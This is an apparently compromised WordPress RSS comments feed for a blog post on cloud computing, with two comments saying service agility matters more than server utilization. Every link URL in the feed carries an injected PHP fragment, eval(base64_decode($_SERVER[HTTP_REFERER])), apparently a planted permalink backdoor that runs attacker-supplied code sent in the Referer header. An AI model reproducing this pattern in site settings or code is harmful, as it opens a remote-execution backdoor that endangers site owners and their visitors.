<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: The Elephant in the Computer Room</title>
	<atom:link href="http://steveoberlin.com/cloudology/?feed=rss2&#038;p=69" rel="self" type="application/rss+xml" />
	<link>http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
	<description>[*The study of efficient and transparent delivery of elastic IT-based services and applications]</description>
	<pubDate>Fri, 10 Sep 2010 17:42:24 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>By: Steve O.</title>
		<link>http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-11</link>
		<dc:creator>Steve O.</dc:creator>
		<pubDate>Tue, 31 Mar 2009 15:14:29 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/cloudology/?p=69#comment-11</guid>
		<description>Thanks, Cloudwatcher, for the comments.   I can't dismiss "average server utilization" as a valid metric, but do think we agree that mindless pursuit of increased utilization alone could foolishly sacrifice service levels, which are way more important as they directly support the operation of the enterprise, while increasing utilization just saves some money. 

I couldn't agree more with you that dynamic scaling of services -- "agility" -- is what really matters.  Increased agility increases business competitiveness and can help grow the top line -- again, way more important than merely reducing the IT budget.</description>
		<content:encoded><![CDATA[<p>Thanks, Cloudwatcher, for the comments.   I can&#8217;t dismiss &#8220;average server utilization&#8221; as a valid metric, but do think we agree that mindless pursuit of increased utilization alone could foolishly sacrifice service levels, which are way more important as they directly support the operation of the enterprise, while increasing utilization just saves some money. </p>
<p>I couldn&#8217;t agree more with you that dynamic scaling of services &#8212; &#8220;agility&#8221; &#8212; is what really matters.  Increased agility increases business competitiveness and can help grow the top line &#8212; again, way more important than merely reducing the IT budget.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Cloudwatcher</title>
		<link>http://steveoberlin.com/cloudology/2009/03/05/the-elephant-in-the-computer-room/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-10</link>
		<dc:creator>Cloudwatcher</dc:creator>
		<pubDate>Mon, 30 Mar 2009 19:35:27 +0000</pubDate>
		<guid isPermaLink="false">http://steveoberlin.com/cloudology/?p=69#comment-10</guid>
		<description>It's my guess that improved "average server utilization rates" are not a measurement worth pursuing -- ever!  I know this is heresy in the cloud but you are dead right:  it's the service not the server that matters.   

What really matters is how fast an enterprise can add servers to - or release them from a service/application.  (Has anyone thought to popularize such a measurement?)  This sort of dynamic provisioning will invariably cause server utilzation rates to rise.  More importantly the current availabiltiy threshold of the service will not only be protected but it should be vastly improved.   

I'm not sure how focusing on server utilization as an end goal will lead to anything but false positives while jeopardizing a service's availability.</description>
		<content:encoded><![CDATA[<p>It&#8217;s my guess that improved &#8220;average server utilization rates&#8221; are not a measurement worth pursuing &#8212; ever!  I know this is heresy in the cloud but you are dead right:  it&#8217;s the service not the server that matters.   </p>
<p>What really matters is how fast an enterprise can add servers to - or release them from a service/application.  (Has anyone thought to popularize such a measurement?)  This sort of dynamic provisioning will invariably cause server utilzation rates to rise.  More importantly the current availabiltiy threshold of the service will not only be protected but it should be vastly improved.   </p>
<p>I&#8217;m not sure how focusing on server utilization as an end goal will lead to anything but false positives while jeopardizing a service&#8217;s availability.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
